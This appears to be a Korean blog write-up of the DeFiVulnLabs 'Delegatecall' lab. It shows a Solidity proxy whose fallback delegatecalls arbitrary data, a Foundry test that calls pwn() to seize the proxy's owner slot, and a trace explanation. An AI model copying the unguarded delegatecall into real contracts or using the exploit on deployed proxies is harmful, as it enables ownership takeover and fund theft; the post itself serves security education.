새소식

인기 검색어

Web3/BlockChain

[BlockChain] DeFiVulnLabs - Delegatecall

  • -
반응형

Delegatecall

Source Code

import "forge-std/Test.sol";

// Proxy Contract is designed for helping users call logic contract
// Proxy Contract's owner is hardcoded as 0xdeadbeef
// Can you manipulate Proxy Contract's owner ?

contract Proxy {

  address public owner = address(0xdeadbeef); // slot0
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
  }

  fallback() external {
    (bool suc,) = address(delegate).delegatecall(msg.data);  // vulnerable
    require(suc, "Delegatecall failed");
  }
}

contract ContractTest is Test {
    Proxy proxy;
    Delegate DelegateContract;
    address alice;

    function setUp() public {
        alice = vm.addr(1);
    }

    function testDelegatecall() public {
        DelegateContract = new Delegate();              // logic contract
        proxy = new Proxy(address(DelegateContract));   // proxy contract
        
        console.log("Alice address", alice);
        console.log("DelegationContract owner", proxy.owner());
        
        // Delegatecall allows a smart contract to dynamically load code from a different address at runtime.
        console.log("Change DelegationContract owner to Alice...");
        vm.prank(alice);   
        address(proxy).call(abi.encodeWithSignature("pwn()")); // exploit here
        // Proxy.fallback() will delegatecall Delegate.pwn()

        console.log("DelegationContract owner", proxy.owner());
        console.log("Exploit completed, proxy contract storage has been manipulated");
    }
}

contract Delegate {
  address public owner; // slot0

  function pwn() public {
    owner = msg.sender;
  }
}

코드 test 결과이다.

DelegationContract의 owner가 Alice로 바뀌었다.

Trace를 분석해보자.

Delegate Contract address: 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f

Proxy Contract address: 0x2e234DAe75C793f67A35089C9d99245E1C58470b

Alice address: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf

Proxy의 owner는 0x00000000000000000000000000000000DeaDBeef

코드를 보면 address.delegatecall(msg.data); 이다. 그러면 msg.data는 delegatecall에서 들고올 함수를 넣어야 한다.

call 함수 flow를 보면 vm.prank(alice)로 msg.sender를 alice로 지정했다.

address(proxy).call(abi.encodeWithSignature("pwn()"))을 하면 Proxy의 fallback() 함수로 간다.

Proxy Contract에서 delegate Contract의 pwn()함수를 delegatecall하면 Proxy Contract에서 pwn()함수를 실행한다. 그러면 msg.sender를 변하지 않기 때문에 Proxy Contract에 있는 owner가 msg.sender 즉 alice가 된다.

함수의 흐름을 그림으로 나타내보았다.

Vulnerability

fallback() external {
	(bool suc,) = address(delegate).delegatecall(msg.data);  // vulnerable
	require(suc, "Delegatecall failed");
}

exploit

address(proxy).call(abi.encodeWithSignature("pwn()")); // exploit here
// Proxy.fallback() will delegatecall Delegate.pwn()

 

반응형
Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.